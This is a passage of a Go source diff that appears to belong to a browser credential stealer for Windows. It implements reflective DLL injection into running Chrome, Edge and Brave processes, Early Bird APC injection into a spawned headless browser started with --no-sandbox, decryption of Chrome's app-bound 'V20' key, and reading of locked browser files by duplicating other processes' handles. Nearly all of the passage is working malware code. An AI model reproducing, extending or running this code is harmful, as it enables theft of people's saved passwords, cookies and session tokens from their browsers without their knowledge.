optHeaderOff := coffOff + 20
|
||||
|
||||
if int(optHeaderOff)+4 > len(pe) {
|
||||
return 0, fmt.Errorf("truncated optional header")
|
||||
}
|
||||
magic := binary.LittleEndian.Uint16(pe[optHeaderOff:])
|
||||
|
||||
var exportRVA uint32
|
||||
switch magic {
|
||||
case 0x10b: // PE32
|
||||
if int(optHeaderOff)+100 > len(pe) {
|
||||
return 0, fmt.Errorf("PE32 optional header too short")
|
||||
}
|
||||
exportRVA = binary.LittleEndian.Uint32(pe[optHeaderOff+96:])
|
||||
case 0x20b: // PE32+
|
||||
if int(optHeaderOff)+116 > len(pe) {
|
||||
return 0, fmt.Errorf("PE32+ optional header too short")
|
||||
}
|
||||
exportRVA = binary.LittleEndian.Uint32(pe[optHeaderOff+112:])
|
||||
default:
|
||||
return 0, fmt.Errorf("unknown PE magic 0x%x", magic)
|
||||
}
|
||||
|
||||
sectionOff := optHeaderOff + uint32(optHeaderSize)
|
||||
|
||||
// rva2fo converts a virtual RVA to a file offset via the section table.
|
||||
rva2fo := func(rva uint32) uint32 {
|
||||
for i := uint16(0); i < numSections; i++ {
|
||||
off := sectionOff + uint32(i)*40
|
||||
if int(off)+40 > len(pe) {
|
||||
break
|
||||
}
|
||||
// IMAGE_SECTION_HEADER layout:
|
||||
// +0 Name[8]
|
||||
// +8 VirtualSize
|
||||
// +12 VirtualAddress
|
||||
// +16 SizeOfRawData
|
||||
// +20 PointerToRawData
|
||||
vAddr := binary.LittleEndian.Uint32(pe[off+12:])
|
||||
vSize := binary.LittleEndian.Uint32(pe[off+8:])
|
||||
rawPtr := binary.LittleEndian.Uint32(pe[off+20:])
|
||||
rawSize := binary.LittleEndian.Uint32(pe[off+16:])
|
||||
span := vSize
|
||||
if rawSize > span {
|
||||
span = rawSize
|
||||
}
|
||||
if rva >= vAddr && rva < vAddr+span {
|
||||
delta := rva - vAddr
|
||||
if delta < rawSize {
|
||||
return rawPtr + delta
|
||||
}
|
||||
}
|
||||
}
|
||||
// RVA might be in the PE headers (before the first section).
|
||||
if numSections > 0 {
|
||||
firstRaw := binary.LittleEndian.Uint32(pe[sectionOff+20:])
|
||||
if rva < firstRaw {
|
||||
return rva
|
||||
}
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
exportFO := rva2fo(exportRVA)
|
||||
if exportFO == 0 || int(exportFO)+40 > len(pe) {
|
||||
return 0, fmt.Errorf("invalid export directory")
|
||||
}
|
||||
|
||||
// IMAGE_EXPORT_DIRECTORY offsets:
|
||||
// +20 NumberOfFunctions
|
||||
// +24 NumberOfNames
|
||||
// +28 AddressOfFunctions
|
||||
// +32 AddressOfNames
|
||||
// +36 AddressOfNameOrdinals
|
||||
numNames := binary.LittleEndian.Uint32(pe[exportFO+24:])
|
||||
functionsFO := rva2fo(binary.LittleEndian.Uint32(pe[exportFO+28:]))
|
||||
namesFO := rva2fo(binary.LittleEndian.Uint32(pe[exportFO+32:]))
|
||||
ordinalsFO := rva2fo(binary.LittleEndian.Uint32(pe[exportFO+36:]))
|
||||
|
||||
for i := uint32(0); i < numNames; i++ {
|
||||
if int(namesFO+i*4+4) > len(pe) {
|
||||
break
|
||||
}
|
||||
nameFO := rva2fo(binary.LittleEndian.Uint32(pe[namesFO+i*4:]))
|
||||
if nameFO == 0 || int(nameFO) >= len(pe) {
|
||||
continue
|
||||
}
|
||||
name := pe[nameFO:]
|
||||
found := false
|
||||
for k := 0; k < 64 && int(nameFO)+k+16 <= len(pe); k++ {
|
||||
if name[k] == 0 {
|
||||
break
|
||||
}
|
||||
if name[k] == 'R' && string(name[k:k+16]) == "ReflectiveLoader" {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
continue
|
||||
}
|
||||
if int(ordinalsFO+i*2+2) > len(pe) {
|
||||
break
|
||||
}
|
||||
ordinal := uint32(binary.LittleEndian.Uint16(pe[ordinalsFO+i*2:]))
|
||||
if int(functionsFO+ordinal*4+4) > len(pe) {
|
||||
break
|
||||
}
|
||||
funcFO := rva2fo(binary.LittleEndian.Uint32(pe[functionsFO+ordinal*4:]))
|
||||
if funcFO != 0 {
|
||||
return funcFO, nil
|
||||
}
|
||||
}
|
||||
return 0, fmt.Errorf("ReflectiveLoader export not found")
|
||||
}
|
||||
|
||||
// writeReflectiveDLL allocates RWX memory in hProcess, writes the full DLL image
|
||||
// followed by the UTF-16 pipe name, and returns the remote addresses of the
|
||||
// ReflectiveLoader entry point and the pipe name. The pipe name is passed to
|
||||
// the loader as lpParameter so it reaches DllMain without relying on an
|
||||
// inherited environment variable (which running browsers do not have).
|
||||
func writeReflectiveDLL(hProcess windows.Handle, dllBytes []byte, pipeName string) (loaderAddr, pipeNameAddr uintptr, err error) {
|
||||
loaderOff, err := findReflectiveLoaderOffset(dllBytes)
|
||||
if err != nil {
|
||||
return 0, 0, fmt.Errorf("find reflective loader: %w", err)
|
||||
}
|
||||
|
||||
pipeW, err := syscall.UTF16FromString(pipeName)
|
||||
if err != nil {
|
||||
return 0, 0, fmt.Errorf("utf16 pipe name: %w", err)
|
||||
}
|
||||
pipeBytes := len(pipeW) * 2
|
||||
total := len(dllBytes) + pipeBytes
|
||||
|
||||
remoteMem, _, _ := procVirtualAllocEx.Call(
|
||||
uintptr(hProcess), 0, uintptr(total),
|
||||
windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE,
|
||||
)
|
||||
if remoteMem == 0 {
|
||||
return 0, 0, fmt.Errorf("VirtualAllocEx failed")
|
||||
}
|
||||
|
||||
var written uintptr
|
||||
if err := windows.WriteProcessMemory(hProcess, remoteMem, &dllBytes[0], uintptr(len(dllBytes)), &written); err != nil {
|
||||
procVirtualFreeEx.Call(uintptr(hProcess), remoteMem, 0, windows.MEM_RELEASE)
|
||||
return 0, 0, fmt.Errorf("WriteProcessMemory: %w", err)
|
||||
}
|
||||
|
||||
pipeNameAddr = remoteMem + uintptr(len(dllBytes))
|
||||
pipeBuf := unsafe.Slice((*byte)(unsafe.Pointer(&pipeW[0])), pipeBytes)
|
||||
if err := windows.WriteProcessMemory(hProcess, pipeNameAddr, &pipeBuf[0], uintptr(pipeBytes), &written); err != nil {
|
||||
procVirtualFreeEx.Call(uintptr(hProcess), remoteMem, 0, windows.MEM_RELEASE)
|
||||
return 0, 0, fmt.Errorf("WriteProcessMemory pipe: %w", err)
|
||||
}
|
||||
|
||||
return remoteMem + uintptr(loaderOff), pipeNameAddr, nil
|
||||
}
|
||||
|
||||
func createKillOnCloseJob() (windows.Handle, error) {
|
||||
job, err := windows.CreateJobObject(nil, nil)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("CreateJobObject: %w", err)
|
||||
}
|
||||
var info windows.JOBOBJECT_EXTENDED_LIMIT_INFORMATION
|
||||
info.BasicLimitInformation.LimitFlags |= windows.JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE
|
||||
_, err = windows.SetInformationJobObject(job, windows.JobObjectExtendedLimitInformation,
|
||||
uintptr(unsafe.Pointer(&info)), uint32(unsafe.Sizeof(info)))
|
||||
if err != nil {
|
||||
windows.CloseHandle(job)
|
||||
return 0, fmt.Errorf("SetInformationJobObject: %w", err)
|
||||
}
|
||||
return job, nil
|
||||
}
|
||||
|
||||
// InjectDLL reflectively injects the DLL into a running process via CreateRemoteThread.
|
||||
// The DLL bytes are written directly into the target process — no temp file on disk.
|
||||
func InjectDLL(dllBytes []byte, pipeName string, targetPID uint32) (*PipeSession, error) {
|
||||
hProcess, err := windows.OpenProcess(
|
||||
windows.PROCESS_CREATE_THREAD|windows.PROCESS_QUERY_INFORMATION|
|
||||
windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ,
|
||||
false, targetPID)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("OpenProcess(%d): %w", targetPID, err)
|
||||
}
|
||||
|
||||
loaderAddr, pipeNameAddr, err := writeReflectiveDLL(hProcess, dllBytes, pipeName)
|
||||
if err != nil {
|
||||
windows.CloseHandle(hProcess)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
hThread, _, lerr := procCreateRemoteThread.Call(uintptr(hProcess), 0, 0, loaderAddr, pipeNameAddr, 0, 0)
|
||||
if hThread == 0 {
|
||||
windows.CloseHandle(hProcess)
|
||||
return nil, fmt.Errorf("CreateRemoteThread: %w", lerr)
|
||||
}
|
||||
windows.CloseHandle(windows.Handle(hThread))
|
||||
|
||||
logf("DLL reflectively injected into PID %d", targetPID)
|
||||
|
||||
return &PipeSession{
|
||||
pid: targetPID,
|
||||
hProcess: hProcess,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func cleanupInjection(hProcess windows.Handle, addr uintptr) {
|
||||
procVirtualFreeEx.Call(uintptr(hProcess), addr, 0, windows.MEM_RELEASE)
|
||||
windows.CloseHandle(hProcess)
|
||||
}
|
||||
|
||||
// CreatePipeSession creates a named pipe, reflectively injects the DLL into an
|
||||
// existing browser process (passing the pipe name via lpParameter), and waits
|
||||
// for connection. Falls back to creating a new headless browser process if
|
||||
// injection into an existing process fails or times out.
|
||||
func CreatePipeSession(dllBytes []byte, browserName string) (*PipeSession, error) {
|
||||
pipeName := createPipeName()
|
||||
logf("creating pipe: %s", pipeName)
|
||||
|
||||
hPipe, err := createPipeServer(pipeName)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("create pipe server: %w", err)
|
||||
}
|
||||
|
||||
pids := orderedBrowserPIDs(BrowserExeName(browserName))
|
||||
|
||||
const maxExistingTries = 3
|
||||
if len(pids) > 0 {
|
||||
for i, pid := range pids {
|
||||
if i >= maxExistingTries {
|
||||
logf("reached max existing process attempts (%d) for %s", maxExistingTries, browserName)
|
||||
break
|
||||
}
|
||||
logf("trying existing %s PID %d", browserName, pid)
|
||||
s, err := InjectDLL(dllBytes, pipeName, pid)
|
||||
if err != nil {
|
||||
logf("inject PID %d failed: %v", pid, err)
|
||||
continue
|
||||
}
|
||||
s.watchExit(fmt.Sprintf("existing %s", browserName), 2000)
|
||||
if err := waitPipeConnect(hPipe, 2000); err != nil {
|
||||
logf("pipe connect timeout for PID %d", pid)
|
||||
s.Close()
|
||||
procDisconnectNamedPipe.Call(uintptr(hPipe))
|
||||
windows.CloseHandle(hPipe)
|
||||
hPipe, err = createPipeServer(pipeName)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("recreate pipe: %w", err)
|
||||
}
|
||||
continue
|
||||
}
|
||||
s.hPipe = hPipe
|
||||
ActivePipeSession = s
|
||||
logf("pipe session established with existing %s (PID %d)", browserName, pid)
|
||||
return s, nil
|
||||
}
|
||||
logf("failed to inject into existing %s processes, will try creating new process", browserName)
|
||||
} else {
|
||||
logf("no running %s found, will create new headless process", browserName)
|
||||
}
|
||||
|
||||
s, err := CreateAndInjectBrowser(dllBytes, pipeName, browserName)
|
||||
if err != nil {
|
||||
windows.CloseHandle(hPipe)
|
||||
return nil, fmt.Errorf("create and inject browser: %w", err)
|
||||
}
|
||||
s.watchExit(fmt.Sprintf("spawned %s", browserName), 8000)
|
||||
|
||||
if err := waitPipeConnect(hPipe, 5000); err != nil {
|
||||
logf("pipe connect timeout for new process")
|
||||
s.Close()
|
||||
windows.CloseHandle(hPipe)
|
||||
return nil, fmt.Errorf("pipe connect timeout")
|
||||
}
|
||||
|
||||
s.hPipe = hPipe
|
||||
s.ownsProcess = true
|
||||
ActivePipeSession = s
|
||||
logf("pipe session established with new %s (PID %d)", browserName, s.pid)
|
||||
return s, nil
|
||||
}
|
||||
|
||||
// FindProcesses returns PIDs of running processes matching the given exe name.
|
||||
func FindProcesses(exeName string) ([]uint32, error) {
|
||||
if exeName == "" {
|
||||
return nil, nil
|
||||
}
|
||||
hSnapshot, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer windows.CloseHandle(hSnapshot)
|
||||
|
||||
var entry windows.ProcessEntry32
|
||||
entry.Size = uint32(unsafe.Sizeof(entry))
|
||||
if err := windows.Process32First(hSnapshot, &entry); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var pids []uint32
|
||||
for {
|
||||
if syscall.UTF16ToString(entry.ExeFile[:]) == exeName {
|
||||
pids = append(pids, entry.ProcessID)
|
||||
}
|
||||
if err := windows.Process32Next(hSnapshot, &entry); err != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
return pids, nil
|
||||
}
|
||||
|
||||
func BrowserExeName(name string) string {
|
||||
switch name {
|
||||
case "Chrome":
|
||||
return "chrome.exe"
|
||||
case "Edge":
|
||||
return "msedge.exe"
|
||||
case "Brave":
|
||||
return "brave.exe"
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// CreateAndInjectBrowser creates a new suspended browser process and reflectively
|
||||
// injects the DLL via Early Bird APC. No temp file is written to disk.
|
||||
func CreateAndInjectBrowser(dllBytes []byte, pipeName string, browserName string) (*PipeSession, error) {
|
||||
browserPath, err := getBrowserPath(browserName)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("get browser path: %w", err)
|
||||
}
|
||||
|
||||
browserPathW, err := syscall.UTF16PtrFromString(browserPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
cmdLine := fmt.Sprintf(`"%s" --headless --disable-gpu --no-sandbox --disable-dev-shm-usage`, browserPath)
|
||||
cmdLineW, err := syscall.UTF16PtrFromString(cmdLine)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var si windows.StartupInfo
|
||||
var pi windows.ProcessInformation
|
||||
si.Cb = uint32(unsafe.Sizeof(si))
|
||||
if err := windows.CreateProcess(browserPathW, cmdLineW, nil, nil, false,
|
||||
windows.CREATE_SUSPENDED, nil, nil, &si, &pi); err != nil {
|
||||
return nil, fmt.Errorf("CreateProcess: %w", err)
|
||||
}
|
||||
logf("created suspended %s process (PID: %d)", browserName, pi.ProcessId)
|
||||
|
||||
// Create a kill-on-close job and assign the suspended browser to it so the
|
||||
// whole process tree is reaped when the session closes, even though the
|
||||
// headless parent self-exits after serving one key.
|
||||
job, jobErr := createKillOnCloseJob()
|
||||
if jobErr != nil {
|
||||
logf("job object unavailable, falling back to TerminateProcess: %v", jobErr)
|
||||
} else if err := windows.AssignProcessToJobObject(job, pi.Process); err != nil {
|
||||
logf("AssignProcessToJobObject failed, falling back to TerminateProcess: %v", err)
|
||||
windows.CloseHandle(job)
|
||||
job = 0
|
||||
} else {
|
||||
logf("spawned %s (PID %d) assigned to kill-on-close job", browserName, pi.ProcessId)
|
||||
}
|
||||
|
||||
cleanup := func() {
|
||||
if job != 0 {
|
||||
windows.CloseHandle(job)
|
||||
}
|
||||
windows.TerminateProcess(pi.Process, 0)
|
||||
windows.CloseHandle(pi.Process)
|
||||
windows.CloseHandle(pi.Thread)
|
||||
}
|
||||
|
||||
loaderAddr, pipeNameAddr, err := writeReflectiveDLL(pi.Process, dllBytes, pipeName)
|
||||
if err != nil {
|
||||
cleanup()
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Queue APC to the main thread — fires on its first alertable wait after resume.
|
||||
ret, _, aerr := procQueueUserAPC.Call(loaderAddr, uintptr(pi.Thread), pipeNameAddr)
|
||||
if ret == 0 {
|
||||
cleanup()
|
||||
return nil, fmt.Errorf("QueueUserAPC: %w", aerr)
|
||||
}
|
||||
logf("queued APC for reflective loader")
|
||||
|
||||
if _, err := windows.ResumeThread(pi.Thread); err != nil {
|
||||
cleanup()
|
||||
return nil, fmt.Errorf("ResumeThread: %w", err)
|
||||
}
|
||||
logf("resumed process main thread")
|
||||
|
||||
return &PipeSession{
|
||||
pid: pi.ProcessId,
|
||||
hProcess: pi.Process,
|
||||
ownsProcess: true,
|
||||
job: job,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func getBrowserPath(browserName string) (string, error) {
|
||||
var paths []string
|
||||
switch browserName {
|
||||
case "Chrome":
|
||||
paths = []string{
|
||||
filepath.Join(os.Getenv("ProgramFiles"), "Google", "Chrome", "Application", "chrome.exe"),
|
||||
filepath.Join(os.Getenv("ProgramFiles(x86)"), "Google", "Chrome", "Application", "chrome.exe"),
|
||||
filepath.Join(os.Getenv("LOCALAPPDATA"), "Google", "Chrome", "Application", "chrome.exe"),
|
||||
}
|
||||
case "Edge":
|
||||
paths = []string{
|
||||
filepath.Join(os.Getenv("ProgramFiles"), "Microsoft", "Edge", "Application", "msedge.exe"),
|
||||
filepath.Join(os.Getenv("ProgramFiles(x86)"), "Microsoft", "Edge", "Application", "msedge.exe"),
|
||||
}
|
||||
case "Brave":
|
||||
paths = []string{
|
||||
filepath.Join(os.Getenv("ProgramFiles"), "BraveSoftware", "Brave-Browser", "Application", "brave.exe"),
|
||||
filepath.Join(os.Getenv("ProgramFiles(x86)"), "BraveSoftware", "Brave-Browser", "Application", "brave.exe"),
|
||||
filepath.Join(os.Getenv("LOCALAPPDATA"), "BraveSoftware", "Brave-Browser", "Application", "brave.exe"),
|
||||
}
|
||||
default:
|
||||
return "", fmt.Errorf("unknown browser: %s", browserName)
|
||||
}
|
||||
for _, p := range paths {
|
||||
if _, err := os.Stat(p); err == nil {
|
||||
return p, nil
|
||||
}
|
||||
}
|
||||
return "", fmt.Errorf("%s not found", browserName)
|
||||
}
|
||||
|
||||
// TryV20KeyViaBrowserSession attempts to decrypt a V20 key by injecting a DLL
|
||||
// into a browser process and communicating via named pipe.
|
||||
func TryV20KeyViaBrowserSession(processName, browserName string, encBlob []byte) ([]byte, error) {
|
||||
dllBytes := GetEmbeddedDLL()
|
||||
if dllBytes == nil {
|
||||
return nil, fmt.Errorf("no embedded DLL")
|
||||
}
|
||||
|
||||
pids := orderedBrowserPIDs(processName)
|
||||
if len(pids) == 0 && browserName == "Chrome" {
|
||||
return nil, fmt.Errorf("no running Chrome processes for V20")
|
||||
}
|
||||
|
||||
pipeName := createPipeName()
|
||||
hPipe, err := createPipeServer(pipeName)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("create pipe: %w", err)
|
||||
}
|
||||
|
||||
const maxTries = 3
|
||||
for i, pid := range pids {
|
||||
if i >= maxTries {
|
||||
break
|
||||
}
|
||||
s, injErr := InjectDLL(dllBytes, pipeName, pid)
|
||||
if injErr != nil {
|
||||
logf("V20 inject %s PID %d: %v", browserName, pid, injErr)
|
||||
continue
|
||||
}
|
||||
s.watchExit(fmt.Sprintf("V20 %s", browserName), 2000)
|
||||
if connErr := waitPipeConnect(hPipe, 1000); connErr != nil {
|
||||
logf("V20 pipe timeout for %s PID %d", browserName, pid)
|
||||
procDisconnectNamedPipe.Call(uintptr(hPipe))
|
||||
windows.CloseHandle(hPipe)
|
||||
hPipe, err = createPipeServer(pipeName)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("recreate pipe: %w", err)
|
||||
}
|
||||
continue
|
||||
}
|
||||
s.hPipe = hPipe
|
||||
encB64 := base64.StdEncoding.EncodeToString(encBlob)
|
||||
key, keyErr := s.GetV20Key(browserName, encB64)
|
||||
s.Close()
|
||||
return key, keyErr
|
||||
}
|
||||
|
||||
if browserName == "Chrome" {
|
||||
windows.CloseHandle(hPipe)
|
||||
tried := len(pids)
|
||||
if tried > maxTries {
|
||||
tried = maxTries
|
||||
}
|
||||
return nil, fmt.Errorf("V20 session failed for Chrome (tried %d existing PIDs)", tried)
|
||||
}
|
||||
|
||||
logf("existing %s PIDs failed for V20, launching headless process", browserName)
|
||||
s, err := CreateAndInjectBrowser(dllBytes, pipeName, browserName)
|
||||
if err != nil {
|
||||
windows.CloseHandle(hPipe)
|
||||
return nil, fmt.Errorf("create headless %s for V20: %w", browserName, err)
|
||||
}
|
||||
s.watchExit(fmt.Sprintf("V20 spawned %s", browserName), 8000)
|
||||
if connErr := waitPipeConnect(hPipe, 5000); connErr != nil {
|
||||
s.Close()
|
||||
windows.CloseHandle(hPipe)
|
||||
return nil, fmt.Errorf("pipe connect timeout for new headless %s", browserName)
|
||||
}
|
||||
s.hPipe = hPipe
|
||||
encB64 := base64.StdEncoding.EncodeToString(encBlob)
|
||||
key, keyErr := s.GetV20Key(browserName, encB64)
|
||||
s.Close()
|
||||
return key, keyErr
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
//go:build !windows
|
||||
|
||||
package platform
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"os/exec"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func InjectDLL(dllBytes []byte, pipeName string, targetPID uint32) (*PipeSession, error) {
|
||||
return nil, errors.New("DLL injection not supported on this platform")
|
||||
}
|
||||
|
||||
func CreatePipeSession(dllBytes []byte, browserName string) (*PipeSession, error) {
|
||||
return nil, errors.New("pipe injection not supported on this platform")
|
||||
}
|
||||
|
||||
func FindProcesses(exeName string) ([]uint32, error) {
|
||||
if exeName == "" {
|
||||
return nil, nil
|
||||
}
|
||||
out, err := exec.Command("pgrep", "-x", exeName).Output()
|
||||
if err != nil {
|
||||
return nil, nil
|
||||
}
|
||||
var pids []uint32
|
||||
for _, line := range strings.Split(strings.TrimSpace(string(out)), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if pid, err := strconv.ParseUint(line, 10, 32); err == nil {
|
||||
pids = append(pids, uint32(pid))
|
||||
}
|
||||
}
|
||||
return pids, nil
|
||||
}
|
||||
|
||||
func BrowserExeName(name string) string {
|
||||
return ""
|
||||
}
|
||||
|
||||
func TryV20KeyViaBrowserSession(processName, browserName string, encBlob []byte) ([]byte, error) {
|
||||
return nil, errors.New("not supported on this platform")
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
//go:build !windows
|
||||
|
||||
package platform
|
||||
|
||||
import "os"
|
||||
|
||||
func ReadLockedFile(srcPath string, pids []uint32) ([]byte, error) {
|
||||
return os.ReadFile(srcPath)
|
||||
}
|
||||
|
||||
func ResetHandleCache() {}
|
||||
@@ -0,0 +1,330 @@
|
||||
//go:build windows
|
||||
|
||||
package platform
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
const (
|
||||
SystemExtendedHandleInformation = 64
|
||||
fileTypeDisk2 = 0x0001
|
||||
pageReadonly2 = 0x02
|
||||
fileMapRead2 = 0x04
|
||||
)
|
||||
|
||||
type systemHandleInfoEx struct {
|
||||
NumberOfHandles uintptr
|
||||
Reserved uintptr
|
||||
Handles [1]systemHandleEntry
|
||||
}
|
||||
|
||||
type systemHandleEntry struct {
|
||||
Object uintptr
|
||||
UniqueProcessId uintptr
|
||||
HandleValue uintptr
|
||||
GrantedAccess uint32
|
||||
CreatorBackTrace uint16
|
||||
ObjectTypeIndex uint16
|
||||
HandleAttributes uint32
|
||||
Reserved uint32
|
||||
}
|
||||
|
||||
type rmUniqueProcess2 struct {
|
||||
ProcessId uint32
|
||||
ProcessStartTime syscall.Filetime
|
||||
}
|
||||
|
||||
type rmProcessInfo2 struct {
|
||||
Process rmUniqueProcess2
|
||||
AppName [256]uint16
|
||||
ServiceShortName [64]uint16
|
||||
ApplicationType uint32
|
||||
AppStatus uint32
|
||||
TSSessionId uint32
|
||||
Restartable int32
|
||||
}
|
||||
|
||||
var (
|
||||
modNtdll2 = windows.NewLazySystemDLL("ntdll.dll")
|
||||
procNtQuerySystemInformation = modNtdll2.NewProc("NtQuerySystemInformation")
|
||||
modKernel32 = windows.NewLazySystemDLL("kernel32.dll")
|
||||
procGetFileSizeEx = modKernel32.NewProc("GetFileSizeEx")
|
||||
procCreateFileMappingW = modKernel32.NewProc("CreateFileMappingW")
|
||||
procMapViewOfFile = modKernel32.NewProc("MapViewOfFile")
|
||||
procUnmapViewOfFile = modKernel32.NewProc("UnmapViewOfFile")
|
||||
procGetFinalPathNameByHandle = modKernel32.NewProc("GetFinalPathNameByHandleW")
|
||||
procGetFileType = modKernel32.NewProc("GetFileType")
|
||||
modRstrtmgr = windows.NewLazySystemDLL("rstrtmgr.dll")
|
||||
procRmStartSession = modRstrtmgr.NewProc("RmStartSession")
|
||||
procRmEndSession = modRstrtmgr.NewProc("RmEndSession")
|
||||
procRmRegisterResources = modRstrtmgr.NewProc("RmRegisterResources")
|
||||
procRmGetList = modRstrtmgr.NewProc("RmGetList")
|
||||
)
|
||||
|
||||
var (
|
||||
handleCacheMu sync.Mutex
|
||||
handleCacheVal []systemHandleEntry
|
||||
)
|
||||
|
||||
func cachedSystemHandles() ([]systemHandleEntry, error) {
|
||||
handleCacheMu.Lock()
|
||||
defer handleCacheMu.Unlock()
|
||||
if handleCacheVal != nil {
|
||||
return handleCacheVal, nil
|
||||
}
|
||||
h, err := querySystemHandles()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
handleCacheVal = h
|
||||
return h, nil
|
||||
}
|
||||
|
||||
func ResetHandleCache() {
|
||||
handleCacheMu.Lock()
|
||||
handleCacheVal = nil
|
||||
handleCacheMu.Unlock()
|
||||
}
|
||||
|
||||
func ReadLockedFile(srcPath string, pids []uint32) ([]byte, error) {
|
||||
if data, err := os.ReadFile(srcPath); err == nil {
|
||||
logf("read directly: %s", srcPath)
|
||||
return data, nil
|
||||
}
|
||||
|
||||
if lockPids := getProcessesLockingFile(srcPath); len(lockPids) > 0 {
|
||||
pids = mergePIDs(pids, lockPids)
|
||||
}
|
||||
|
||||
if len(pids) > 0 {
|
||||
if data, err := readViaHandleDuplication(srcPath, pids); err == nil {
|
||||
logf("read via handle dup: %s", srcPath)
|
||||
return data, nil
|
||||
}
|
||||
}
|
||||
|
||||
if ActivePipeSession != nil {
|
||||
if data, err := ActivePipeSession.ReadFile(srcPath); err == nil && len(data) > 0 {
|
||||
logf("read via pipe: %s (%d bytes)", srcPath, len(data))
|
||||
return data, nil
|
||||
}
|
||||
}
|
||||
|
||||
return nil, fmt.Errorf("all read methods failed for: %s", srcPath)
|
||||
}
|
||||
|
||||
func mergePIDs(a, b []uint32) []uint32 {
|
||||
seen := make(map[uint32]struct{}, len(a)+len(b))
|
||||
for _, p := range a {
|
||||
seen[p] = struct{}{}
|
||||
}
|
||||
result := append([]uint32(nil), a...)
|
||||
for _, p := range b {
|
||||
if _, ok := seen[p]; !ok {
|
||||
result = append(result, p)
|
||||
seen[p] = struct{}{}
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func readViaHandleDuplication(srcPath string, pids []uint32) ([]byte, error) {
|
||||
handles, err := cachedSystemHandles()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
pidSet := make(map[uintptr]struct{}, len(pids))
|
||||
for _, p := range pids {
|
||||
pidSet[uintptr(p)] = struct{}{}
|
||||
}
|
||||
|
||||
for _, h := range handles {
|
||||
if _, ok := pidSet[h.UniqueProcessId]; !ok {
|
||||
continue
|
||||
}
|
||||
|
||||
hProcess, err := windows.OpenProcess(windows.PROCESS_DUP_HANDLE, false, uint32(h.UniqueProcessId))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
var dupHandle windows.Handle
|
||||
err = windows.DuplicateHandle(hProcess, windows.Handle(h.HandleValue),
|
||||
windows.CurrentProcess(), &dupHandle, 0, false, windows.DUPLICATE_SAME_ACCESS)
|
||||
windows.CloseHandle(hProcess)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
ft, _, _ := procGetFileType.Call(uintptr(dupHandle))
|
||||
if ft != fileTypeDisk2 {
|
||||
windows.CloseHandle(dupHandle)
|
||||
continue
|
||||
}
|
||||
|
||||
handlePath := getHandlePath(uintptr(dupHandle))
|
||||
if handlePath == "" || !strings.EqualFold(handlePath, srcPath) {
|
||||
windows.CloseHandle(dupHandle)
|
||||
continue
|
||||
}
|
||||
|
||||
data, err := readFileByMapping(dupHandle)
|
||||
windows.CloseHandle(dupHandle)
|
||||
if err == nil {
|
||||
return data, nil
|
||||
}
|
||||
}
|
||||
|
||||
return nil, fmt.Errorf("handle duplication failed for %s", srcPath)
|
||||
}
|
||||
|
||||
func readFileByMapping(h windows.Handle) ([]byte, error) {
|
||||
var fileSize int64
|
||||
ok, _, _ := procGetFileSizeEx.Call(uintptr(h), uintptr(unsafe.Pointer(&fileSize)))
|
||||
if ok == 0 || fileSize <= 0 {
|
||||
return nil, fmt.Errorf("empty or unreadable file")
|
||||
}
|
||||
|
||||
hMapping, _, _ := procCreateFileMappingW.Call(uintptr(h), 0, pageReadonly2, 0, 0, 0)
|
||||
if hMapping == 0 {
|
||||
return nil, fmt.Errorf("CreateFileMappingW failed")
|
||||
}
|
||||
defer windows.CloseHandle(windows.Handle(hMapping))
|
||||
|
||||
baseAddr, _, _ := procMapViewOfFile.Call(hMapping, fileMapRead2, 0, 0, uintptr(fileSize))
|
||||
if baseAddr == 0 {
|
||||
return nil, fmt.Errorf("MapViewOfFile failed")
|
||||
}
|
||||
defer procUnmapViewOfFile.Call(baseAddr)
|
||||
|
||||
data := make([]byte, fileSize)
|
||||
copy(data, unsafe.Slice((*byte)(unsafe.Pointer(baseAddr)), fileSize))
|
||||
return data, nil
|
||||
}
|
||||
|
||||
func querySystemHandles() ([]systemHandleEntry, error) {
|
||||
bufSize := uint32(1 * 1024 * 1024)
|
||||
for {
|
||||
buf := make([]byte, bufSize)
|
||||
var returnLength uint32
|
||||
status, _, _ := procNtQuerySystemInformation.Call(
|
||||
SystemExtendedHandleInformation,
|
||||
uintptr(unsafe.Pointer(&buf[0])),
|
||||
uintptr(bufSize),
|
||||
uintptr(unsafe.Pointer(&returnLength)),
|
||||
)
|
||||
if status&0xFFFFFFFF == 0xC0000004 {
|
